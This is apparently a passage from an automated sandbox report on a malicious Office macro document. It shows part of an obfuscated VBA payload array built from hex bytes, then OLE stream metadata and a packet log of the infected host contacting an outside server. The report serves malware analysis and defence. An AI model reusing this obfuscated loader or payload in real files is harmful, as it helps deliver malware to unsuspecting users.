    ljLLJJLJjjjjJijI(193) = &H6B: ljLLJJLJjjjjJijI(194) = &H38: ljLLJJLJjjjjJijI(195) = &H35: ljLLJJLJjjjjJijI(196) = &H61: ljLLJJLJjjjjJijI(197) = &H79: ljLLJJLJjjjjJijI(198) = &H79: ljLLJJLJjjjjJijI(199) = &H45: ljLLJJLJjjjjJijI(200) = &H74: ljLLJJLJjjjjJijI(201) = &H56: ljLLJJLJjjjjJijI(202) = &H61: ljLLJJLJjjjjJijI(203) = &H36: ljLLJJLJjjjjJijI(204) = &H39: ljLLJJLJjjjjJijI(205) = &H7A: ljLLJJLJjjjjJijI(206) = &H30: ljLLJJLJjjjjJijI(207) = &H6B: ljLLJJLJjjjjJijI(208) = &H44: ljLLJJLJjjjjJijI(209) = &H49: ljLLJJLJjjjjJijI(210) = &H6C: ljLLJJLJjjjjJijI(211) = &H37: ljLLJJLJjjjjJijI(212) = &H75: ljLLJJLJjjjjJijI(213) = &H4D: ljLLJJLJjjjjJijI(214) = &H71: ljLLJJLJjjjjJijI(215) = &H4D: ljLLJJLJjjjjJijI(216) = &H75: ljLLJJLJjjjjJijI(217) = &H55: ljLLJJLJjjjjJijI(218) = &H62: ljLLJJLJjjjjJijI(219) = &H72: ljLLJJLJjjjjJijI(220) = &H41: ljLLJJLJjjjjJijI(221) = &H38: ljLLJJLJjjjjJijI(222) = &H6B: ljLLJJLJjjjjJijI(223) = &H33: ljLLJJLJjjjjJijI(224) = &H51
    ljLLJJLJjjjjJijI(225) = &H76: ljLLJJLJjjjjJijI(226) = &H6B: ljLLJJLJjjjjJijI(227) = &H6B: ljLLJJLJjjjjJijI(228) = &H5A: ljLLJJLJjjjjJijI(229) = &H47: ljLLJJLJjjjjJijI(230) = &H36: ljLLJJLJjjjjJijI(231) = &H76: ljLLJJLJjjjjJijI(232) = &H6A: ljLLJJLJjjjjJijI(233) = &H74: ljLLJJLJjjjjJijI(234) = &H74: ljLLJJLJjjjjJijI(235) = &H72: ljLLJJLJjjjjJijI(236) = &H47: ljLLJJLJjjjjJijI(237) = &H38: ljLLJJLJjjjjJijI(238) = &H37: ljLLJJLJjjjjJijI(239) = &H77: ljLLJJLJjjjjJijI(240) = &H4C: ljLLJJLJjjjjJijI(241) = &H37: ljLLJJLJjjjjJijI(242) = &H6C: ljLLJJLJjjjjJijI(243) = &H72: ljLLJJLJjjjjJijI(244) = &H49: ljLLJJLJjjjjJijI(245) = &H49: ljLLJJLJjjjjJijI(246) = &H66: ljLLJJLJjjjjJijI(247) = &H36: ljLLJJLJjjjjJijI(248) = &H47: ljLLJJLJjjjjJijI(249) = &H39: ljLLJJLJjjjjJijI(250) = &H76: ljLLJJLJjjjjJijI(251) = &H72: ljLLJJLJjjjjJijI(252) = &H2F: ljLLJJLJjjjjJijI(253) = &H69: ljLLJJLJjjjjJijI(254) = &H2B: ljLLJJLJjjjjJijI(255) = &H35: ljLLJJLJjjjjJijI(256) = &H61
    ljLLJJLJjjjjJijI(257) = &H78: ljLLJJLJjjjjJijI(258) = &H76: ljLLJJLJjjjjJijI(259) = &H48: ljLLJJLJjjjjJijI(260) = &H32: ljLLJJLJjjjjJijI(261) = &H2F: ljLLJJLJjjjjJijI(262) = &H67: ljLLJJLJjjjjJijI(263) = &H35: ljLLJJLJjjjjJijI(264) = &H61: ljLLJJLJjjjjJijI(265) = &H79: ljLLJJLJjjjjJijI(266) = &H73: ljLLJJLJjjjjJijI(267) = &H48: ljLLJJLJjjjjJijI(268) = &H4B: ljLLJJLJjjjjJijI(269) = &H46: ljLLJJLJjjjjJijI(270) = &H74: ljLLJJLJjjjjJijI(271) = &H75: ljLLJJLJjjjjJijI(272) = &H75: ljLLJJLJjjjjJijI(273) = &H52: ljLLJJLJjjjjJijI(274) = &H6E: ljLLJJLJjjjjJijI(275) = &H72: ljLLJJLJjjjjJijI(276) = &H4F: ljLLJJLJjjjjJijI(277) = &H77: ljLLJJLJjjjjJijI(278) = &H68: ljLLJJLJjjjjJijI(279) = &H6D: ljLLJJLJjjjjJijI(280) = &H57: ljLLJJLJjjjjJijI(281) = &H66: ljLLJJLJjjjjJijI(282) = &H6B: ljLLJJLJjjjjJijI(283) = &H35: ljLLJJLJjjjjJijI(284) = &H48: ljLLJJLJjjjjJijI(285) = &H57: ljLLJJLJjjjjJijI(286) = &H52: ljLLJJLJjjjjJijI(287) = &H75: ljLLJJLJjjjjJijI(288) = &H72
    ljLLJJLJjjjjJijI(289) = &H75: ljLLJJLJjjjjJijI(290) = &H2F: ljLLJJLJjjjjJijI(291) = &H75: ljLLJJLJjjjjJijI(292) = &H62: ljLLJJLJjjjjJijI(293) = &H32: ljLLJJLJjjjjJijI(294) = &H2B: ljLLJJLJjjjjJijI(295) = &H6A: ljLLJJLJjjjjJijI(296) = &H69: ljLLJJLJjjjjJijI(297) = &H65: ljLLJJLJjjjjJijI(298) = &H4F: ljLLJJLJjjjjJijI(299) = &H35: ljLLJJLJjjjjJijI(300) = &H4B: ljLLJJLJjjjjJijI(301) = &H7A: ljLLJJLJjjjjJijI(302) = &H6B: ljLLJJLJjjjjJijI(303) = &H41: ljLLJJLJjjjjJijI(304) = &H32: ljLLJJLJjjjjJijI(305) = &H33: ljLLJJLJjjjjJijI(306) = &H6A: ljLLJJLJjjjjJijI(307) = &H49: ljLLJJLJjjjjJijI(308) = &H33: ljLLJJLJjjjjJijI(309) = &H31: ljLLJJLJjjjjJijI(310) = &H51: ljLLJJLJjjjjJijI(311) = &H51: ljLLJJLJjjjjJijI(312) = &H4A: ljLLJJLJjjjjJijI(313) = &H65: ljLLJJLJjjjjJijI(314) = &H4C: ljLLJJLJjjjjJijI(315) = &H44: ljLLJJLJjjjjJijI(316) = &H42: ljLLJJLJjjjjJijI(317) = &H73: ljLLJJLJjjjjJijI(318) = &H62: ljLLJJLJjjjjJijI(319) = &H72: ljLLJJLJjjjjJijI(320) = &H42
    ljLLJJLJjjjjJijI(321) = &H73: ljLLJJLJjjjjJijI(322) = &H49: ljLLJJLJjjjjJijI(323) = &H5A: ljLLJJLJjjjjJijI(324) = &H36: ljLLJJLJjjjjJijI(325) = &H7A: ljLLJJLJjjjjJijI(326) = &H45: ljLLJJLJjjjjJijI(327) = &H4A: ljLLJJLJjjjjJijI(328) = &H53: ljLLJJLJjjjjJijI(329) = &H50: ljLLJJLJjjjjJijI(330) = &H6B: ljLLJJLJjjjjJijI(331) = &H35: ljLLJJLJjjjjJijI(332) = &H4F: ljLLJJLJjjjjJijI(333) = &H54: ljLLJJLJjjjjJijI(334) = &H6B: ljLLJJLJjjjjJijI(335) = &H49: ljLLJJLJjjjjJijI(336) = &H36: ljLLJJLJjjjjJijI(337) = &H7A: ljLLJJLJjjjjJijI(338) = &H6B: ljLLJJLJjjjjJijI(339) = &H4A: ljLLJJLJjjjjJijI(340) = &H72: ljLLJJLJjjjjJijI(341) = &H54: ljLLJJLJjjjjJijI(342) = &H6B: ljLLJJLJjjjjJijI(343) = &H72: ljLLJJLJjjjjJijI(344) = &H65: ljLLJJLJjjjjJijI(345) = &H51: ljLLJJLJjjjjJijI(346) = &H6B: ljLLJJLJjjjjJijI(347) = &H49: ljLLJJLJjjjjJijI(348) = &H39: ljLLJJLJjjjjJijI(349) = &H54: ljLLJJLJjjjjJijI(350) = &H6B: ljLLJJLJjjjjJijI(351) = &H35: ljLLJJLJjjjjJijI(352) = &H4F
    ljLLJJLJjjjjJijI(353) = &H51: ljLLJJLJjjjjJijI(354) = &H6A: ljLLJJLJjjjjJijI(355) = &H72: ljLLJJLJjjjjJijI(356) = &H61: ljLLJJLJjjjjJijI(357) = &H51: ljLLJJLJjjjjJijI(358) = &H6C: ljLLJJLJjjjjJijI(359) = &H35: ljLLJJLJjjjjJijI(360) = &H4F: ljLLJJLJjjjjJijI(361) = &H51: ljLLJJLJjjjjJijI(362) = &H62: ljLLJJLJjjjjJijI(363) = &H35: ljLLJJLJjjjjJijI(364) = &H4B: ljLLJJLJjjjjJijI(365) = &H7A: ljLLJJLJjjjjJijI(366) = &H7A: ljLLJJLJjjjjJijI(367) = &H49: ljLLJJLJjjjjJijI(368) = &H47: ljLLJJLJjjjjJijI(369) = &H65: ljLLJJLJjjjjJijI(370) = &H73: ljLLJJLJjjjjJijI(371) = &H78: ljLLJJLJjjjjJijI(372) = &H43: ljLLJJLJjjjjJijI(373) = &H42: ljLLJJLJjjjjJijI(374) = &H6E: ljLLJJLJjjjjJijI(375) = &H72: ljLLJJLJjjjjJijI(376) = &H50: ljLLJJLJjjjjJijI(377) = &H51: ljLLJJLJjjjjJijI(378) = &H6A: ljLLJJLJjjjjJijI(379) = &H62: ljLLJJLJjjjjJijI(380) = &H65: ljLLJJLJjjjjJijI(381) = &H4D: ljLLJJLJjjjjJijI(382) = &H6A: ljLLJJLJjjjjJijI(383) = &H66: ljLLJJLJjjjjJijI(384) = &H56
    ljLLJJLJjjjjJijI(385) = &H42: ljLLJJLJjjjjJijI(386) = &H41: ljLLJJLJjjjjJijI(387) = &H6C: ljLLJJLJjjjjJijI(388) = &H36: ljLLJJLJjjjjJijI(389) = &H4D: ljLLJJLJjjjjJijI(390) = &H6A: ljLLJJLJjjjjJijI(391) = &H42: ljLLJJLJjjjjJijI(392) = &H65: ljLLJJLJjjjjJijI(393) = &H7A: ljLLJJLJjjjjJijI(394) = &H59: ljLLJJLJjjjjJijI(395) = &H55: ljLLJJLJjjjjJijI(396) = &H43: ljLLJJLJjjjjJijI(397) = &H4E: ljLLJJLJjjjjJijI(398) = &H53: ljLLJJLJjjjjJijI(399) = &H39: ljLLJJLJjjjjJijI(400) = &H4B: ljLLJJLJjjjjJijI(401) = &H4F: ljLLJJLJjjjjJijI(402) = &H41: ljLLJJLJjjjjJijI(403) = &H4B: ljLLJJLJjjjjJijI(404) = &H62: ljLLJJLJjjjjJijI(405) = &H45: ljLLJJLJjjjjJijI(406) = &H74: ljLLJJLJjjjjJijI(407) = &H6F: ljLLJJLJjjjjJijI(408) = &H79: ljLLJJLJjjjjJijI(409) = &H4F: ljLLJJLJjjjjJijI(410) = &H6B: ljLLJJLJjjjjJijI(411) = &H2F: ljLLJJLJjjjjJijI(412) = &H4B: ljLLJJLJjjjjJijI(413) = &H30: ljLLJJLJjjjjJijI(414) = &H57: ljLLJJLJjjjjJijI(415) = &H49: ljLLJJLJjjjjJijI(416) = &H38
    ljLLJJLJjjjjJijI(417) = &H72: ljLLJJLJjjjjJijI(418) = &H45: ljLLJJLJjjjjJijI(419) = &H6F: ljLLJJLJjjjjJijI(420) = &H30: ljLLJJLJjjjjJijI(421) = &H4A: ljLLJJLJjjjjJijI(422) = &H67: ljLLJJLJjjjjJijI(423) = &H6F: ljLLJJLJjjjjJijI(424) = &H55: ljLLJJLJjjjjJijI(425) = &H53: ljLLJJLJjjjjJijI(426) = &H6A: ljLLJJLJjjjjJijI(427) = &H49: ljLLJJLJjjjjJijI(428) = &H37: ljLLJJLJjjjjJijI(429) = &H6A: ljLLJJLJjjjjJijI(430) = &H4D: ljLLJJLJjjjjJijI(431) = &H55: ljLLJJLJjjjjJijI(432) = &H64: ljLLJJLJjjjjJijI(433) = &H59: ljLLJJLJjjjjJijI(434) = &H6A: ljLLJJLJjjjjJijI(435) = &H50: ljLLJJLJjjjjJijI(436) = &H39: ljLLJJLJjjjjJijI(437) = &H53: ljLLJJLJjjjjJijI(438) = &H6A: ljLLJJLJjjjjJijI(439) = &H45: ljLLJJLJjjjjJijI(440) = &H6F: ljLLJJLJjjjjJijI(441) = &H56: ljLLJJLJjjjjJijI(442) = &H4E: ljLLJJLJjjjjJijI(443) = &H52: ljLLJJLJjjjjJijI(444) = &H71: ljLLJJLJjjjjJijI(445) = &H4D: ljLLJJLJjjjjJijI(446) = &H6A: ljLLJJLJjjjjJijI(447) = &H78: ljLLJJLJjjjjJijI(448) = &H64
    ljLLJJLJjjjjJijI(449) = &H77: ljLLJJLJjjjjJijI(450) = &H46: ljLLJJLJjjjjJijI(451) = &H46: ljLLJJLJjjjjJijI(452) = &H51: ljLLJJLJjjjjJijI(453) = &H78: ljLLJJLJjjjjJijI(454) = &H72: ljLLJJLJjjjjJijI(455) = &H47: ljLLJJLJjjjjJijI(456) = &H2B: ljLLJJLJjjjjJijI(457) = &H49: ljLLJJLJjjjjJijI(458) = &H62: ljLLJJLJjjjjJijI(459) = &H47: ljLLJJLJjjjjJijI(460) = &H32: ljLLJJLJjjjjJijI(461) = &H2B: ljLLJJLJjjjjJijI(462) = &H73: ljLLJJLJjjjjJijI(463) = &H72: ljLLJJLJjjjjJijI(464) = &H4F: ljLLJJLJjjjjJijI(465) = &H75: ljLLJJLJjjjjJijI(466) = &H37: ljLLJJLJjjjjJijI(467) = &H62: ljLLJJLJjjjjJijI(468) = &H36: ljLLJJLJjjjjJijI(469) = &H7A: ljLLJJLJjjjjJijI(470) = &H73: ljLLJJLJjjjjJijI(471) = &H50: ljLLJJLJjjjjJijI(472) = &H64: ljLLJJLJjjjjJijI(473) = &H33: ljLLJJLJjjjjJijI(474) = &H68: ljLLJJLJjjjjJijI(475) = &H6D: ljLLJJLJjjjjJijI(476) = &H4D: ljLLJJLJjjjjJijI(477) = &H32: ljLLJJLJjjjjJijI(478) = &H73: ljLLJJLJjjjjJijI(479) = &H44: ljLLJJLJjjjjJijI(480) = &H7A
    ljLLJJLJjjjjJijI(481) = &H32: ljLLJJLJjjjjJijI(482) = &H73: ljLLJJLJjjjjJijI(483) = &H34: ljLLJJLJjjjjJijI(484) = &H6A: ljLLJJLJjjjjJijI(485) = &H33: ljLLJJLJjjjjJijI(486) = &H4E: ljLLJJLJjjjjJijI(487) = &H45: ljLLJJLJjjjjJijI(488) = &H36: ljLLJJLJjjjjJijI(489) = &H79: ljLLJJLJjjjjJijI(490) = &H73: ljLLJJLJjjjjJijI(491) = &H4E: ljLLJJLJjjjjJijI(492) = &H52: ljLLJJLJjjjjJijI(493) = &H31: ljLLJJLJjjjjJijI(494) = &H6C: ljLLJJLJjjjjJijI(495) = &H31: ljLLJJLJjjjjJijI(496) = &H4F: ljLLJJLJjjjjJijI(497) = &H54: ljLLJJLJjjjjJijI(498) = &H6B: ljLLJJLJjjjjJijI(499) = &H34: ljLLJJLJjjjjJijI(500) = &H34: ljLLJJLJjjjjJijI(501) = &H69: ljLLJJLJjjjjJijI(502) = &H59: ljLLJJLJjjjjJijI(503) = &H31: ljLLJJLJjjjjJijI(504) = &H61: ljLLJJLJjjjjJijI(505) = &H79: ljLLJJLJjjjjJijI(506) = &H73: ljLLJJLJjjjjJijI(507) = &H4A: ljLLJJLJjjjjJijI(508) = &H43: ljLLJJLJjjjjJijI(509) = &H51: ljLLJJLJjjjjJijI(510) = &H62: ljLLJJLJjjjjJijI(511) = &H5A: ljLLJJLJjjjjJijI(512) = &H59
    ljLLJJLJjjjjJijI(513) = &H4C: ljLLJJLJjjjjJijI(514) = &H6E: ljLLJJLJjjjjJijI(515) = &H32: ljLLJJLJjjjjJijI(516) = &H43: ljLLJJLJjjjjJijI(517) = &H66: ljLLJJLJjjjjJijI(518) = &H6B: ljLLJJLJjjjjJijI(519) = &H45: ljLLJJLJjjjjJijI(520) = &H5A: ljLLJJLJjjjjJijI(521) = &H46: ljLLJJLJjjjjJijI(522) = &H6E: ljLLJJLJjjjjJijI(523) = &H72: ljLLJJLJjjjjJijI(524) = &H4F: ljLLJJLJjjjjJijI(525) = &H41: ljLLJJLJjjjjJijI(526) = &H6B: ljLLJJLJjjjjJijI(527) = &H62: ljLLJJLJjjjjJijI(528) = &H36: ljLLJJLJjjjjJijI(529) = &H7A: ljLLJJLJjjjjJijI(530) = &H6E: ljLLJJLJjjjjJijI(531) = &H2B: ljLLJJLJjjjjJijI(532) = &H47: ljLLJJLJjjjjJijI(533) = &H65: ljLLJJLJjjjjJijI(534) = &H43: ljLLJJLJjjjjJijI(535) = &H35: ljLLJJLJjjjjJijI(536) = &H41: ljLLJJLJjjjjJijI(537) = &H66: ljLLJJLJjjjjJijI(538) = &H6B: ljLLJJLJjjjjJijI(539) = &H6A: ljLLJJLJjjjjJijI(540) = &H6D: ljLLJJLJjjjjJijI(541) = &H6D: ljLLJJLJjjjjJijI(542) = &H73: ljLLJJLJjjjjJijI(543) = &H77: ljLLJJLJjjjjJijI(544) = &H4F
    ljLLJJLJjjjjJijI(545) = &H42: ljLLJJLJjjjjJijI(546) = &H6E: ljLLJJLJjjjjJijI(547) = &H72: ljLLJJLJjjjjJijI(548) = &H4D: ljLLJJLJjjjjJijI(549) = &H51: ljLLJJLJjjjjJijI(550) = &H49: ljLLJJLJjjjjJijI(551) = &H62: ljLLJJLJjjjjJijI(552) = &H61: ljLLJJLJjjjjJijI(553) = &H79: ljLLJJLJjjjjJijI(554) = &H73: ljLLJJLJjjjjJijI(555) = &H50: ljLLJJLJjjjjJijI(556) = &H53: ljLLJJLJjjjjJijI(557) = &H59: ljLLJJLJjjjjJijI(558) = &H6A: ljLLJJLJjjjjJijI(559) = &H39: ljLLJJLJjjjjJijI(560) = &H65: ljLLJJLJjjjjJijI(561) = &H54: ljLLJJLJjjjjJijI(562) = &H6B: ljLLJJLJjjjjJijI(563) = &H35: ljLLJJLJjjjjJijI(564) = &H43: ljLLJJLJjjjjJijI(565) = &H4F: ljLLJJLJjjjjJijI(566) = &H74: ljLLJJLJjjjjJijI(567) = &H70: ljLLJJLJjjjjJijI(568) = &H43: ljLLJJLJjjjjJijI(569) = &H54: ljLLJJLJjjjjJijI(570) = &H6B: ljLLJJLJjjjjJijI(571) = &H35: ljLLJJLJjjjjJijI(572) = &H4B: ljLLJJLJjjjjJijI(573) = &H33: ljLLJJLJjjjjJijI(574) = &H6B: ljLLJJLJjjjjJijI(575) = &H4A: ljLLJJLJjjjjJijI(576) = &H57
    ljLLJJLJjjjjJijI(577) = &H32: ljLLJJLJjjjjJijI(578) = &H7A: ljLLJJLJjjjjJijI(579) = &H47: ljLLJJLJjjjjJijI(580) = &H36: ljLLJJLJjjjjJijI(581) = &H7A: ljLLJJLJjjjjJijI(582) = &H30: ljLLJJLJjjjjJijI(583) = &H49: ljLLJJLJjjjjJijI(584) = &H47: ljLLJJLJjjjjJijI(585) = &H65: ljLLJJLJjjjjJijI(586) = &H38: ljLLJJLJjjjjJijI(587) = &H78: ljLLJJLJjjjjJijI(588) = &H4F: ljLLJJLJjjjjJijI(589) = &H63: ljLLJJLJjjjjJijI(590) = &H6A: ljLLJJLJjjjjJijI(591) = &H35: ljLLJJLJjjjjJijI(592) = &H4F: ljLLJJLJjjjjJijI(593) = &H54: ljLLJJLJjjjjJijI(594) = &H6B: ljLLJJLJjjjjJijI(595) = &H35: ljLLJJLJjjjjJijI(596) = &H4F: ljLLJJLJjjjjJijI(597) = &H53: ljLLJJLJjjjjJijI(598) = &H4F: ljLLJJLJjjjjJijI(599) = &H61: ljLLJJLJjjjjJijI(600) = &H61: ljLLJJLJjjjjJijI(601) = &H7A: ljLLJJLJjjjjJijI(602) = &H41: ljLLJJLJjjjjJijI(603) = &H34: ljLLJJLJjjjjJijI(604) =

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 438

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	438
Entropy:	5.135068995536572
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 2 9 2 B 8 5 D 3 8 9 D 3 8 9 D 7 8 D D 7 8 D " . . D P B = " 5 2 5 0 F E D 5 3 A F 2 3 A F 2 C 5 0 E 3 B F 2 A B C 6 4 C D 3 C 2 B E C B 9 6 1 5 5 5 3 C 6 8 2 C 0 E 8 B 5 7 1 6 C 6 8
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56

Stream Path: PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	41
Entropy:	3.0773844850752607
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3089

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	data
Stream Size:	3089
Entropy:	4.456644559189449
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 1 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 1 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 97 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 31 00 23 00

Stream Path: VBA/dir, File Type: data, Stream Size: 470

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	470
Entropy:	6.238099893292352
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . g d . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . E O f f i c E O . f . i . c E . . . E 2 D F . 8 D 0 4 C - 5 B . F A - 1 0 1 B - B D E 5 E A A C . 4 . 2 E g r
Data Raw:	01 d2 b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 67 aa f0 64 0e 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 14, 2022 08:39:17.945976019 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:18.100560904 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.100760937 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:18.723445892 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:18.878485918 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.878959894 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.878985882 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.879002094 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.879014015 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:18.879096031 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:18.879122019 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.303687096 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.461611032 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462470055 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462491989 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462526083 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462543011 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462634087 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.462914944 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462933064 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462959051 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.462960005 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.462995052 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.463001013 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.463002920 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.463025093 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.463037014 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.463043928 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.463082075 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.463135958 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.463186979 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.504666090 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.617491961 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617527962 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617552042 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617577076 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617600918 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617625952 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617670059 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.617697954 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.617759943 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617784023 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.617976904 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618030071 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618055105 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618084908 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618096113 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618220091 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618244886 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618266106 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618280888 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618424892 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618448973 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618468046 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618484974 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618664026 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618689060 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618716002 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618736029 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.618937969 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618963957 CEST	80	49171	64.52.80.45	192.168.2.22
Aug 14, 2022 08:39:19.618989944 CEST	49171	80	192.168.2.22	64.52.80.45
Aug 14, 2022 08:39:19.619014978 CEST	49171	80	192.168.2.22	64.52.80.45
